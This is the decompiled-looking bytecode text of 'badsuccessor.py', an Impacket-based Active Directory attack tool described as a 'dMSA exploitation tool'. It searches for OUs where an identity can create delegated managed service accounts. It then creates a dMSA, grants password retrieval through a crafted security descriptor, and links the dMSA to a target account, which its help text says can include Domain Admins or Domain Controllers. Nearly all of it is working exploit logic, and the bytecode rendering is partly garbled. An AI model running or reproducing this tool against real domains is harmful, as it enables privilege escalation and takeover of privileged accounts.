o
    j                  
   @   s  d dl mZ d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
mZ d dlmZ d dlmZmZmZ d dlmZ d dlZG d	d
 d
Zedkraeej ejdddZejddddd ejddddd ejdg dddd ejddddd ejddd d!d ejd"dd d#d$d% ejd&dd'd(d ejd)d*d+d, ejd-d*d.d, ejd/d0d1gd1d2d ejd3ed4d5gd6d7 ed0Zejd8dd9d:d ed;Zejd<dd=d>d ejd?d*d@d, ejdAd*dBd, ejdCddDdEd ejdFddGdHd ejdIddJdKd eej dLkr"e!  e"dL e# Z$e$j%dMkrEg Z&e$j's7e&(d e&rDe)dNdO*e&  nXe$j%dPkrmg Z&e$j+sVe&(d e$j's_e&(d e&rle)dQdO*e&  n0e$j%dRkrg Z&e$j+s~e&(d e$j'se&(d e$j,se&(d" e&re)dSdO*e&  e-e$j.e$j/ dTe$j0v re$j1du ree$j0\Z2Z3Z4Z5e2dUkre6dV e"dL e5e$_1e4dUkre3dUkre$j7du re$j8se$j9du rd dWl:m:Z: e:dXZ4dUZ;dUZ<e$j7dur	e$j7=dY\Z;Z<e;dUkr	dZZ;e$j9durde$_>nee$j0e$j7e$j8e$j9e$j>\Z2Z3Z4Z;Z<e$_>e2dUkr6e6dV e"dL zee3e4e2e;e<e$Z?e?@  W dS  eAy` ZB zeeCeB W Y dZB[BdS dZB[Bww dS )[    )division)print_function)unicode_literalsN)version)logger)parse_identityparse_targetinit_ldap_session)	ldaptypesc                   @   sl   e Zd Zdd Zdd Zdd Zdd Zd	d
 Zdd Zdd Z	dd Z
dd Zdd Zdd Zdd ZdS )BADSUCCESSORc                 C   sZ  || _ || _|| _|| _|| _|j| _|j| _|j	| _
|j	| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _|j| _| jd urP| j| _| jdvr\t d| j | jrh|j	d u rht d| jdkrzd| jvrzt!"d| j  | j
d u rd| jvrt!"d| j  | j| _
| jd u r| jdkrd	| _d S | jdkrd
| _d S d S d S )N)LDAPLDAPSzUnsupported method %sz?Kerberos auth requires DNS name of the target DC. Use -dc-host.r   .zD'%s' doesn't look like a FQDN. Generating baseDN will probably fail.zcNo DC host set and '%s' doesn't look like a FQDN. DNS resolution of short names will probably fail.r     |  )#_BADSUCCESSOR__username_BADSUCCESSOR__password_BADSUCCESSOR__domain_BADSUCCESSOR__lmhash_BADSUCCESSOR__nthashaesKey_BADSUCCESSOR__aesKeyk_BADSUCCESSOR__doKerberosdc_host_BADSUCCESSOR__target_BADSUCCESSOR__kdcHost	dmsa_name_BADSUCCESSOR__dmsaNamemethod_BADSUCCESSOR__methodport_BADSUCCESSOR__portaction_BADSUCCESSOR__actiondc_ip_BADSUCCESSOR__targetIpbaseDN_BADSUCCESSOR__baseDN	target_ou_BADSUCCESSOR__targetOuprincipals_allowed _BADSUCCESSOR__principalsAllowedtarget_account_BADSUCCESSOR__targetAccountdns_hostname_BADSUCCESSOR__dnsHostName
ValueErrorloggingwarning)selfusernamepassworddomainlmhashnthashcmdLineOptions r;   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/badsuccessor.py__init__&   sL   








zBADSUCCESSOR.__init__c                 C   s  | j d u r$| jd}d| _ |D ]}|  j d| 7  _ q| j d d | _ z@| jdk}| jr@| jr3| jn| j}| jr<| jn| j}n| jrF| jn| j}| j}t| j| j	| j
| j| j| j||| j|d
\}}W n tyx } ztdt| d }~ww |r}|n|}	td|	| j| j	f  | jd	kr| |}
n+| jd
kr| |}
n | jdkr| |}
n| jdkr| |}
n
td| j  d}
|  |
S )Nr    zdc=%s,r   )
r7   r5   r6   r8   r9   r   r%   r   r   	use_ldapsz$Could not connect to LDAP server: %szConnected to %s as %s\%sadddeletemodifysearchzUnknown action: %sF)r(   r   splitr    r   r   r   r&   r	   r   r   r   r   r   	Exceptionstrr2   infor$   add_dmsadelete_dmsamodify_dmsa
search_ouserrorunbind)r4   domainPartsir@   target_hostr%   _ldapConnectione	connectToresultr;   r;   r<   runR   sV   





zBADSUCCESSOR.runc              
   C   s  zq| j std W dS | jstd W dS d| j | jf }| ||s/td|  W dS ||}td tdd  tdd	  tdd
d| j  f  tdd|r[dndf  |so|jrotdd|jf  |W S  ty } ztdt	|  W Y d }~dS d }~ww )Nz=dMSA name is required for deletion. Use -dmsa-name parameter.FzBTarget OU is required for dMSA deletion. Use -target-ou parameter.CN=%s,%sdMSA account does not exist: %sr>   %-30s %s)zdMSA Deletion Resultsr>   ------------------------------r\   
dMSA Name:%s$zStatus:SUCCESSFAILEDzError:zdMSA deletion failed: %s)
r   r2   rM   r*   check_account_existsrB   rH   rV   rF   rG   )r4   rS   dmsa_dnsuccessrT   r;   r;   r<   rJ      s2   




zBADSUCCESSOR.delete_dmsac              
   C   sd   z|j |dtjdgd}|ot|jdkW S  ty1 } ztdt|  W Y d }~dS d }~ww )Nz(objectClass=*)cnsearch_basesearch_filtersearch_scope
attributesr   z$Error checking account existence: %sF)	rD   ldap3BASElenentriesrF   r2   debugrG   )r4   rS   dnrc   rT   r;   r;   r<   ra      s   z!BADSUCCESSOR.check_account_existsc                    s  zHt d |jst d W dS |j| jdtjddgd}|s,t d|j  W dS d}|j	D ]'}d|vr@t d	|j
  q1d
|jjv sLd|jjv rXt d|j
  d} nq1|set d t d |j| jdtjddgtjjjddd}|st d|j  W dS t|j	}t dt|  z$|j| jdtjdgd}|rt|j	dkr|j	d }d|v r|jj}W n ty } zt dt|  W Y d }~W dS d }~ww i }ddddd }	d!d"d#}
|D ] }zt|j
}d|vs|jjsW q|jj}tj|d$}|d% }|rt|d&r|jr|jD ]}tjjtjjg}|d' |vr*qt|d( d) d)  t  fd*d+|	! D }|sFq|d( }|d' tjjkrW|d, nd }|rrtt"j#|d-$ }t %| ||
vrrq|d( d. & }| '||rq| (||}||vrg ||< ||| vr|| )| qz,|d/ & }| '||s| (||}||vrg ||< ||| vr|| )| W n   Y W q ty } zW Y d }~qd }~ww |r(t d0t|  t d1 t d2d3  t d2d4  |* D ]\}}d5d6+| }t d2|d d7 |f  qW dS t d8 t d1 t d2d3  t d2d4  t d2d9  W dS  tyf } zt d:t|  W Y d }~dS d }~ww );Nz6Searching for OUs vulnerable to BadSuccessor attack...zLDAP connection is not boundFzc(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))operatingSystemoperatingSystemVersionre   z+Failed to search for Domain Controllers: %szICould not retrieve operating system information for Domain Controller: %szWindows Server 202526100z/Found Windows Server 2025 Domain Controller: %sTzrNo Windows Server 2025 Domain Controllers found. This script requires at least one DC running Windows Server 2025.zeResulting list of Identities/OUs will show Identities that have permissions to create objects in OUs.z (objectClass=organizationalUnit)distinguishedNamenTSecurityDescriptor   )sdflags)rf   rg   rh   ri   controlsz-Failed to search for organizational units: %szFound %d organizational unitsz(objectClass=domain)	objectSidr   z!Failed to retrieve domain SID: %s      i   i   )CreateChild
GenericAll	WriteDACL
WriteOwnerzAll Objects#msDS-DelegatedManagedServiceAccount)z$00000000-0000-0000-0000-000000000000z$0feb936f-47b3-49f2-9386-1dedc2c23765)dataDaclacesAceTypeAceMaskc                 3   s    | ]} |@ V  qd S )Nr;   ).0right_valuemaskr;   r<   	<genexpr>&  s    z*BADSUCCESSOR.search_ous.<locals>.<genexpr>
ObjectType)bytes_leSidOwnerSidz1Found %d identities with BadSuccessor privileges:r>   z%-50s %s)IdentityzVulnerable OUs)z2--------------------------------------------------r\   z{%s}, 2   z0No identities found with BadSuccessor privileges)(none)r   zBadSuccessor search failed: %s),r2   rH   boundrM   rD   r(   rj   SUBTREErV   rm   entry_dnrp   valuerq   protocol	microsoftsecurity_descriptor_controllistrl   rk   rx   rF   rG   rt   r
   SR_SECURITY_DESCRIPTORhasattrr   ACCESS_ALLOWED_ACEACE_TYPEACCESS_ALLOWED_OBJECT_ACEintanyvaluesuuidUUIDlowerrn   formatCanonicalis_excluded_sidresolve_sid_to_nameappenditemsjoin)r4   rS   rc   prereq_flagentry
ou_entries
domain_sidrT   allowed_identitiesrelevant_rightsrelevant_object_typesou_dnsd_datasddaclaceallowed_typeshas_relevant_rightace_dataobject_typeobject_guidsididentity	owner_sidousou_listr;   r   r<   rL      s  




	











zBADSUCCESSOR.search_ousc                 C   sH   ddg}ddg}||v rdS |r"| |r"|D ]
}||r! dS qdS )NS-1-5-32-544S-1-5-18z-512z-519TF)
startswithendswith)r4   r   r   excluded_sidsexcluded_suffixessuffixr;   r;   r<   r   a  s   
zBADSUCCESSOR.is_excluded_sidc                 C   s   zIddddddddd	d
ddd}||v r|| W S |j | jd| tjdgd}|rGt|jdkrG|jd }d|v rG|jj}d| j	 |f W S |W S  t
yh } ztd|t|f  |W  Y d }~S d }~ww )NEveryonez NT AUTHORITY\Authenticated UserszBUILTIN\AdministratorszBUILTIN\UserszBUILTIN\GuestszNT AUTHORITY\SYSTEMzNT AUTHORITY\LOCAL SERVICEzNT AUTHORITY\NETWORK SERVICEzCREATOR OWNERzCREATOR GROUPz*NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSzNT AUTHORITY\SELF)zS-1-1-0zS-1-5-11r   zS-1-5-32-545zS-1-5-32-546r   zS-1-5-19zS-1-5-20zS-1-3-0zS-1-3-1zS-1-5-9zS-1-5-10z(objectSid=%s)sAMAccountNamere   r   z%s\%szError resolving SID %s: %s)rD   r(   rj   r   rl   rm   r   r   r   upperrF   r2   rn   rG   )r4   rS   r   well_known_sidsrc   r   r5   rT   r;   r;   r<   r   o  sB   

z BADSUCCESSOR.resolve_sid_to_namec                 C   s$   d tjtjtj dd}d| S )Nr>      )r   zdMSA-%s)r   randomchoicesstringascii_uppercasedigits)r4   random_suffixr;   r;   r<   generate_dmsa_name  s   zBADSUCCESSOR.generate_dmsa_namec              
   C   s2  z||sW d S t |tr|d}t|dk rW d S |d }|d }d|d  }t||k r0W d S t|dd d}g }t|D ]$}d|d  }|d t|krdt|||d  d}	|t|	 q@ |rtd	||d
|f }
|
W S d||f }
|
W S  t	y } zt
dt|  W Y d }~d S d }~ww )Nzlatin-1r   r   ry         biglittlez
S-%d-%d-%s-zS-%d-%dz(Error converting SID bytes to string: %s)
isinstancerG   encoderl   r   
from_bytesranger   r   rF   r2   rn   )r4   	sid_bytesrevisionauthority_countexpected_length	authoritysubauthoritiesrP   offsetsubauth
sid_stringrT   r;   r;   r<   convert_sid_to_string  s<   

z"BADSUCCESSOR.convert_sid_to_stringc           
   
   C   s  z|sW d S t |tr|dr|}nW d S | |}|s W d S t }d|d< d|d< d|d< t |d< |d | d	|d
< d	|d< t }d|d< d|d< d|d< g |_	t
 }tjj|d< d|d< t }t |d< d|d d< t |d< |d | ||d< |j	| t
 }tjj|d< d|d< t }t |d< d|d d< t |d< |d | ||d< |j	| ||d< | W S  ty }	 ztdt|	  W Y d }	~	d S d }	~	ww )NzS-   Revision    Sbz1i  Controlr       GroupSidSaclr   AclRevisionr   Sbz2r   AceFlagsr   i r   r   rz   r   z&Error building security descriptor: %s)r   rG   r   r   r
   r   LDAP_SIDfromCanonicalACLr   ACEr   r   ACCESS_MASKr   getDatarF   r2   rn   )
r4   user_sidr   r   aclnace1acedata1nace2acedata2rT   r;   r;   r<   build_security_descriptor  sd   



z&BADSUCCESSOR.build_security_descriptorc              
   C   s4  z{| j s
|  | _ | jstd W dS d| j | jf }| ||r-td|  W dS | jr3| jn| j}| jr<| jnd}| j	rD| j	n	d| j 
 | jf }|rTd|vr^d| j 
 | jf }dg| j d	| j  |d
ddddd	}d }z5d| }|j| j|tjdgd}	|	rt|jdkr|jd }
d|
v r|
jj}|r| |}|}||d< W n ty } ztdt|  W Y d }~W dS d }~ww |r||d< d }|j| jd| tjddgd}	|	rt|jdkr|jD ]}
dd |
jjD }d|v sd|v rt|
j}qt|jd j}|r||d< n
td|  W dS |j||d }	|	rntd! td"d#  td"d$d	| j  f  td"d%|d&d'f  td"d(|d)d'f  td"d*|f  td"d+|f  W d,S |jrztd-|j  W dS  ty } ztd.t|  W Y d }~dS d }~ww )/NzBTarget OU is required for dMSA creation. Use -target-ou parameter.FrX   zdMSA account already exists: %sAdministratorz%s.%sr   r   r^   i      r      l    )	objectClassrd   r   dNSHostNameuserAccountControlzmsDS-ManagedPasswordIntervalmsDS-DelegatedMSAStatezmsDS-SupportedEncryptionTypesaccountExpiresz((&(objectClass=user)(sAMAccountName=%s))rx   re   r   rt   z!Error building MSA membership: %szmsDS-GroupMSAMembership%(&(objectClass=*)(sAMAccountName=%s))rs   r  c                 S      g | ]}t | qS r;   rG   r   r   ocr;   r;   r<   
<listcomp>A      z)BADSUCCESSOR.add_dmsa.<locals>.<listcomp>usercomputer!msDS-ManagedAccountPrecededByLinkTarget account not found: %s)ri   r>   rZ   r[   r]   zDNS Hostname:r  UnknownzMigration status: r  zPrincipals Allowed:zTarget Account:TzLDAP error: %szdMSA creation failed: %s)r   r   r*   r2   rM   ra   r,   r   r.   r0   r   r   rD   r(   rj   r   rl   rm   rx   r   r   rF   rn   rG   r  r   r   rA   rH   getrV   )r4   rS   rb   r+   r-   r/   ri   group_msa_membershiprg   rc   r   r   
descriptorrT   	target_dnobject_classesr;   r;   r<   rI     s   

 




zBADSUCCESSOR.add_dmsac           
   
   C   s  zd| j | jf }| ||std|  W dS |j|dtjdgd}d }|r>t|j	dkr>|j	d }t
|dr>|d j}|j| jd| j tjd	d
gd}|rWt|j	dksbtd| j  W dS d }|j	D ]}dd |jjD }d|v szd|v rt|j} nqg|st|j	d j}||krtd|  td W dS dtj|gfgi}|||}|rtd|pd|f  W dS td|j  W dS  ty }	 ztdt|	  W Y d }	~	dS d }	~	ww )NrX   rY   Fz1(objectClass=msDS-DelegatedManagedServiceAccount)r  re   r   r  rs   r  r  c                 S   r	  r;   r
  r  r;   r;   r<   r    r  z,BADSUCCESSOR.modify_dmsa.<locals>.<listcomp>r  r  z$Target account is already set to: %szNo modifications needed.Tz&dMSA target account modified: %s -> %sz	(not set)zFailed to modify dMSA: %szError modifying dMSA: %s)r   r*   ra   r2   rM   rD   rj   rk   rl   rm   r   r   r(   r.   r   r  r   rG   r   rH   MODIFY_REPLACErC   rV   rF   )
r4   rS   rb   rc   current_target_dnr   r  r  modificationsrT   r;   r;   r<   rK   d  sf   





zBADSUCCESSOR.modify_dmsaN)__name__
__module____qualname__r=   rW   rJ   ra   rL   r   r   r   r   r   rI   rK   r;   r;   r;   r<   r   %   s    ,:  &)(8hr   __main__TzdMSA exploitation tool.)add_helpdescriptionaccountstorez[domain/]username[:password]z#Account used to authenticate to DC.)r#   metavarhelpz
-dmsa-namer   zHName of dMSA to add. If omitted, a random dMSA-[A-Z0-9]{8} will be used.z-action)rA   rB   rC   rD   rD   zAction to perform: add (requires -target-ou), delete (requires -dmsa-name, -target-ou), modify (requires -dmsa-name, -target-ou and -target-account), or search a dMSA.)r   defaultr%  z
-target-ouOU_DNzZSpecific OU to check for dMSA creation capabilities (e.g., "OU=weakOU,DC=domain,DC=local")z-principals-allowedUSERNAMEz]Username allowed to retrieve the managed password. If omitted, current username will be used.z-target-accountr   zTarget user or computer account DN to set for msDS-ManagedAccountPrecededByLink (can target Domain Controllers, Domain Admins, Protected Users, etc.))r#   r$  r&  r%  z-dns-hostnameHOSTNAMEzLDNS hostname for the dMSA. If omitted, will be generated as dmsaname.domain.z-ts
store_truez&Adds timestamp to every logging output)r#   r%  z-debugzTurn DEBUG output ONz-methodr   r   zbMethod of adding the computer. LDAPS has some certificate requirements and isn't always available.z-portr   r   zCDestination port to connect to. LDAP defaults to 389, LDAPS to 636.)typer   r%  z-baseDNzDC=test,DC=localzhSet baseDN for LDAP. If ommited, the domain part (FQDN) specified in the account parameter will be used.authenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-no-passz&don't ask for password (useful for -k)z-kzUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z-dc-hosthostnamez|Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be usedz-dc-ipipzKIP of the domain controller to use. Useful if you can't translate the FQDN.ry   rA   z1Action "add" requires the following arguments: %sr   rB   z4Action "delete" requires the following arguments: %srC   z4Action "modify" requires the following arguments: %s@r>   zDomain should be specified!)getpassz	Password:: AAD3B435B51404EEAAD3B435B51404EE)D
__future__r   r   r   argparser2   r   r   sysrj   impacketr   impacket.examplesr   impacket.examples.utilsr   r   r	   impacket.ldapr
   r   r   r  printBANNERArgumentParserparseradd_argumentr   add_argument_groupgrouprl   argv
print_helpexit
parse_argsoptionsr#   required_argsr)   r   rM   r   r   r-   inittsrn   r"  r   r7   r5   r6   remote_hostcriticalhashesno_passr   r0  r8   r9   rE   r   executerrW   rF   rT   rG   r;   r;   r;   r<   <module>   s        













4
(


